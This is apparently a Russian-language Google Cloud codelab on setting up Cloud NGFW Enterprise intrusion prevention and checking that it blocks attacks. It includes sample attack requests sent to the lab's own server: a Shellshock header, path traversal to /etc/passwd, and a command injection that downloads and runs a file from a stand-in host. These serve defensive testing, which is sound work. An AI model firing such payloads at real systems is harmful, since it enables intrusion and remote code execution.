Cloud NGFW Enterprise — служба предотвращения вторжений (без проверки TLS)

1. Введение

Межсетевой экран нового поколения в облаке (NGFW)

Cloud Next Generation Firewall — это полностью распределенный межсетевой экран с расширенными возможностями защиты, микросегментацией и повсеместным охватом для защиты ваших рабочих нагрузок Google Cloud от внутренних и внешних атак.

Облачный межсетевой экран нового поколения (NGFW) обладает следующими преимуществами:

  • Распределенная служба межсетевого экрана: Cloud NGFW обеспечивает сохранение состояния и полностью распределенное применение мер безопасности на уровне хоста для каждой рабочей нагрузки, что позволяет реализовать архитектуру безопасности с нулевым доверием.
  • Упрощенная настройка и развертывание: Cloud NGFW реализует сетевые и иерархические политики межсетевого экрана, которые можно прикрепить к узлу иерархии ресурсов. Эти политики обеспечивают единообразную работу межсетевого экрана во всей иерархии ресурсов Google Cloud.
  • Детальный контроль и микросегментация: сочетание политик межсетевого экрана и тегов, управляемых системой управления идентификацией и доступом (IAM), обеспечивает точный контроль как для трафика между центрами сети (север-юг), так и для трафика между центрами сети (восток-запад), вплоть до отдельной виртуальной машины, в сетях и организациях виртуальных частных облаков (VPC).

Облачный межсетевой экран нового поколения (NGFW) доступен в следующих тарифных планах:

Облачный NGFW Enterprise

В Cloud NGFW Enterprise добавлена ​​служба предотвращения вторжений (IPS) , являющаяся функцией уровня 7, в распределенную структуру межсетевого экрана Google Cloud Firewall. Поддерживается проверка TLS-трафика, позволяющая проверять зашифрованный TLS-трафик, но это выходит за рамки данного практического занятия (см. практическое занятие по Cloud NGFW Enterprise с проверкой TLS ).

Теперь вы можете развернуть надежные проверки межсетевого экрана следующего поколения (NGFW) уровня 7 с детальным контролем, не внося никаких изменений в архитектуру сети или конфигурацию маршрутизации.

Для активации и развертывания управления межсетевым экраном уровня 7 с помощью IPS необходимо выполнить следующие действия:

  • Создайте набор управляемых Google Cloud зональных межсетевых экранов.
  • При желании можно создать политику проверки TLS (этот пример не рассматривается в данном практическом занятии).
  • При желании можно создать конфигурацию доверия (это не рассматривается в данном практическом задании).
  • Свяжите эти конечные точки с сетями виртуальной частной сети (VPC), где вам необходима служба Cloud NGFW Enterprise.
  • Внесите простые изменения в существующие политики и правила брандмауэра, чтобы указать профили предотвращения угроз для различных путей трафика.

Политики сетевого брандмауэра

Политика сетевого брандмауэра выступает в качестве контейнера для правил брандмауэра. Правила, определенные в политике сетевого брандмауэра, не применяются нигде, пока политика не будет связана с сетью VPC. Каждая сеть VPC может иметь одну связанную с ней политику сетевого брандмауэра. Политики сетевого брандмауэра поддерживают управляемые IAM теги (или просто теги) в правилах брандмауэра, которые заменяют текущие сетевые теги и могут использоваться для обеспечения идентификации рабочей нагрузки.

Совместное использование политики сетевого брандмауэра в разных сетях и интеграция с тегами, управляемыми IAM, значительно упрощают настройку и управление брандмауэрами.

С внедрением политик сетевого брандмауэра, политики брандмауэра Google Cloud теперь состоят из следующих компонентов:

  1. Иерархическая политика брандмауэра
  2. Правила брандмауэра VPC
  3. Политика сетевого брандмауэра ( глобальная и региональная )

Иерархические политики межсетевого экрана поддерживаются на уровне организации и узлов папок в иерархии ресурсов, тогда как правила межсетевого экрана VPC и политики сетевого межсетевого экрана применяются на уровне VPC. Существенное различие между правилами межсетевого экрана VPC и политиками сетевого межсетевого экрана заключается в том, что правила межсетевого экрана VPC могут применяться только к одной сети VPC, тогда как политики сетевого межсетевого экрана могут быть привязаны к одной VPC или группе VPC, а также обладают другими преимуществами, такими как пакетные обновления.

Наконец, у нас также есть подразумеваемые правила брандмауэра , которые присутствуют в каждой сети VPC:

  • Правило исходящего трафика, действие которого — разрешить, пункт назначения — 0.0.0.0/0
  • Правило входящего трафика, действие которого — запрет, источник — 0.0.0.0/0

По умолчанию последовательность применения мер безопасности показана на следующей диаграмме:

21b3bcabc469ffe.png

Обратите внимание, что порядок применения правил межсетевого экрана VPC и глобальной политики сетевого межсетевого экрана может быть изменен. Клиенты могут в любое время указать порядок применения с помощью команды gcloud .

Теги , управляемые IAM

Новые теги, интегрированные в правила политики сетевого брандмауэра, представляют собой ресурсы типа «ключ-значение», определенные на уровне организации или проекта в иерархии ресурсов Google Cloud. Такой тег, как следует из названия, содержит управление доступом IAM, определяющее, кто и что может делать с этим тегом. Например, разрешения IAM позволяют указать, какие субъекты могут назначать значения тегам и какие субъекты могут прикреплять теги к ресурсам. После применения тега к ресурсу правила сетевого брандмауэра могут использовать его для разрешения и запрета трафика.

Теги соответствуют модели наследования ресурсов Google Cloud, что означает, что теги и их значения передаются вниз по иерархии от родительских элементов. В результате теги могут быть созданы в одном месте, а затем использованы другими папками и проектами по всей иерархии ресурсов. Подробную информацию о тегах и ограничениях доступа см. на этой странице .

Не следует путать теги с сетевыми тегами . Последние представляют собой строки, которые можно добавить к экземплярам Compute Engine; они связаны с экземпляром и исчезают при выводе экземпляра из эксплуатации. Правила брандмауэра VPC могут включать сетевые теги, но поскольку они не рассматриваются как облачные ресурсы, на них не распространяется контроль доступа IAM.

Обратите внимание, что в данном документе термины «теги» и «теги, управляемые IAM» используются взаимозаменяемо.

Что вы построите

Для выполнения этого практического задания требуется один проект и умение создавать сеть VPC с публичным подключением. Будет продемонстрировано, как Cloud NGFW Enterprise может обеспечить функциональность IPS следующим образом:

  • Проверка потоков внутри VPC/подсети [Восток-Запад]
  • Проверка входящих потоков из интернета [север-юг]

Потоки, подлежащие проверке, будут выбраны с использованием параметров сопоставления Cloud Firewall, включая кортеж из 5 элементов (исходный IP-адрес, целевой IP-адрес, протокол, исходный порт, целевой порт) и теги. Проверка TLS не включена в данную практическую работу.

52a0642ef8668ecf.png

Правила политики сетевого брандмауэра будут выглядеть примерно так, как показано в таблице ниже:

Приоритет

Направление

Цель

Источник

Место назначения

Действие

Тип

100

Выход

Quarantine_Tag

Любой

Любой

Отрицать

Основные сведения

1000

Вход

Server_Tag

Диапазоны показателей здоровья

Любой

Позволять

Основные сведения

2000

Вход

Любой

Диапазоны прокси-серверов с учетом идентификации

Любой

Позволять

Основные сведения

3000

Вход

Любой

Geo, GCTI

Любой

Отрицать

Стандарт

4000

Выход

Любой

Любой

Geo, GCTI

Отрицать

Стандарт

5000

Выход

Любой

Любой

Полные доменные имена для обновления системы

Позволять

Стандарт

6000

Вход

Server_Tag

10.0.0.0/24

Любой

IPS

Предприятие

7000

Вход

Server_Tag

CloudNAT_IP

Любой

IPS

Предприятие

Что вы узнаете

Что вам понадобится

  • Проект Google Cloud
  • Знание развертывания экземпляров и настройки сетевых компонентов.
  • Знание конфигурации межсетевого экрана VPC

2. Прежде чем начать

Создание/обновление переменных

В этом практическом задании используются переменные `$variables` для упрощения настройки gcloud в Cloud Shell.

В Cloud Shell выполните приведенные ниже команды, заменив информацию в скобках по мере необходимости (пропустите настройку проекта, если нужный уже задан). Для ресурсов уровня организации используется другая переменная, если требуется несколько, например, конечных точек брандмауэра.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. Включите API.

Включите API, если вы этого еще не сделали:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Создание профиля безопасности и конечной точки для облачного межсетевого экрана нового поколения (NGFW) предприятия.

Поскольку создание корпоративной конечной точки Cloud NGFW занимает около 20 минут, она будет создана первой, и базовая настройка может быть выполнена параллельно с созданием конечной точки.

Создайте профиль безопасности и группу профилей безопасности:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Ожидаемый результат:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Подтвердите успешное создание ресурсов:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Ожидаемый результат:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Создайте конечную точку Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Выполните команду ниже, чтобы подтвердить создание конечной точки (СОСТОЯНИЕ: СОЗДАНИЕ ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

При желании выполните следующую команду, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Процесс создания конечной точки занимает около 20 минут. Перейдите в раздел «Базовая настройка», чтобы параллельно создать необходимые ресурсы.

5. Базовая настройка

Если вы предпочитаете создавать базовые ресурсы вручную, перейдите к следующим разделам.

Сеть и подсеть VPC

Сеть и подсеть VPC

Создайте сеть и подсеть VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Облачный NAT

Создайте облачные маршрутизаторы и шлюзы Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Примеры

Создайте экземпляры клиента и веб-сервера:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Теги на уровне проекта

При необходимости назначьте пользователю права доступа tagAdmin и/или tagUser:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Создайте ключ и значения тега на уровне проекта:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Привязка тегов к экземплярам:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Глобальная политика сетевого брандмауэра

Создайте глобальную политику сетевого брандмауэра:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Создайте основные правила Cloud Firewall для запрета трафика от экземпляров, находящихся в карантине (созданы только в качестве примера и не используются в этом практическом занятии), и разрешения трафика из диапазонов прокси-серверов , использующих проверку работоспособности и идентификацию :

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Создайте правила Cloud Firewall Standard для запрета входящего и исходящего трафика из/в страны, находящиеся под эмбарго, известные вредоносные IP-адреса и выходные узлы ToR; и разрешите исходящий трафик только к определенным полным доменным именам (FQDN) для обновления системы (создано только в качестве примера и не используется в этом практическом занятии):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic to sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Создайте правила облачного брандмауэра, разрешающие входящий трафик между подсетями (восток-запад) и интернетом (север-юг) из определенных диапазонов (эти правила будут обновлены для включения облачного NGFW Enterprise):

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Свяжите политику сетевого брандмауэра с сетью VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Внешний балансировщик сетевой нагрузки TCP/UDP

Зарезервируйте внешний IP-адрес, создайте группу экземпляров и выполните проверку работоспособности:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Создайте серверную службу и правило переадресации:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Ассоциация корпоративных конечных точек Cloud NGFW

При необходимости переопределите переменные среды.

Убедитесь, что создание конечной точки облачного брандмауэра успешно завершено. Продолжайте только после того, как состояние отобразится как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

При желании выполните следующую команду, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Подключите корпоративную точку Cloud NGFW к сети VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Процесс сопоставления занимает около 10 минут. Продолжайте только после того, как состояние отобразится как АКТИВНОЕ (ожидаемое состояние во время процесса создания — СОЗДАНИЕ ):

gcloud network-security firewall-endpoint-associations list

Ожидаемый результат:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

При желании выполните следующую команду, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Ожидаемый результат:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Правила проверки корпоративных межсетевых экранов нового поколения в облаке.

Откройте новую вкладку и установите SSH-соединение с виртуальной машиной клиента через IAP (вам потребуется снова определить переменные в новой вкладке):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Определите необходимые переменные в сеансе SSH и установите их значения (убедитесь, что значения верны):

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

Для подтверждения доступности обоих IP-адресов выполните команду curl:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Ожидаемый результат для обоих запросов curl:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Отправьте примеры атак на внутренний IP-адрес сервера (трафик «восток-запад» / внутри VPC). Веб-сервер должен ответить на все запросы, подтвердив отсутствие проверок/предотвращения уровня L7:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Отправьте примеры атак на внешний IP-адрес сервера через Cloud NAT (входящий трафик север-юг), и веб-сервер должен отвечать на все запросы аналогичным образом:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Ожидаемые результаты как для публичных, так и для частных IP-адресов:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Вернитесь в Cloud Shell и обновите существующие правила входящего трафика, чтобы включить проверку уровня L7:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

При желании опишите правила брандмауэра, чтобы убедиться в успешном обновлении обоих пунктов:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Ожидаемый результат:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Правило 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Ожидаемый результат:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Переключитесь обратно на клиентскую виртуальную машину и повторно отправьте примеры атак на внутренний IP-адрес сервера (проверка по схеме «Восток-Запад» / внутри VPC):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Повторно отправьте примеры атак на внешний IP-адрес сервера через Cloud NAT (проверка входящего трафика по схеме «север-юг»):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

В соответствии с ожидаемым результатом, представленным ниже, на первые атаки не получено никаких ответов, что подтверждает блокировку атак высокой степени серьезности.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Перейдите в раздел «Сетевая безопасность» > «Угрозы» в облачной консоли, чтобы проверить журналы (возможно, потребуется несколько раз обновить страницу, если атаки еще не отображаются).

daa535fcc34873aa.png

Выберите одну из атак и нажмите «Просмотреть журнал аудита» справа (откроется в новой вкладке, чтобы легко вернуться к предыдущему варианту). Разверните описание атаки, чтобы отобразить подробности:

5f97cdef79e42eff.png

При желании замените фильтр Log Explorer приведенным ниже запросом:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Записи в журнале угроз должны выглядеть следующим образом:

5ea9581a7eb694c5.png

Перехваченные пакеты Cloud Firewall можно проверить с помощью фильтра Log Explorer, расположенного ниже (это полезно для устранения неполадок):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Перейдите к проверке интернет-трафика (необязательно) или закройте сеанс SSH и перейдите к следующей главе, где описаны шаги по очистке.

[Необязательно] Проверка интернет-трафика

Как было проверено в предыдущем разделе, на данный момент проверяются потоки внутри подсети/VPC (восток-запад) и входящий трафик из Интернета (север-юг). Cloud NGFW Enterprise также можно настроить для проверки всего интернет-трафика (исходящий трафик север-юг), создав новое правило исходящего трафика с помощью Cloud Shell:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Переключитесь обратно на клиентскую виртуальную машину и повторно отправьте атаки высокой степени серьезности на внешний IP-адрес сервера:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Ожидаемый результат:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Перейдите на вкладку «Угрозы» в облачной консоли, чтобы проверить журналы (возможно, потребуется несколько раз обновить страницу). Атаки должны были быть идентифицированы и зарегистрированы снова, но теперь исходный IP-адрес является внутренним, поскольку сначала срабатывает правило исходящего трафика:

36f8edf264dcddcd.png

Закройте сеанс SSH и перейдите к следующему разделу, где описаны шаги по очистке .

8. Этапы уборки

Очистка компонентов корпоративного межсетевого экрана нового поколения в облаке

Перечислите существующие подключения Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Удалите ассоциацию Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Перечислите существующие корпоративные конечные точки Cloud NGFW:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Удаление конечной точки Cloud NGFW Enterprise может занять около 20 минут:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Убедитесь, что Cloud NGFW Enterprise был удален, выполнив следующую команду:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Удалите группу профилей безопасности и профиль предотвращения угроз:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Завершение настройки базы

Перейдите к следующему шагу, если вы хотите удалить базовые ресурсы.

При необходимости определите переменные среды. В Cloud Shell удалите компоненты Network Load Balancer:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

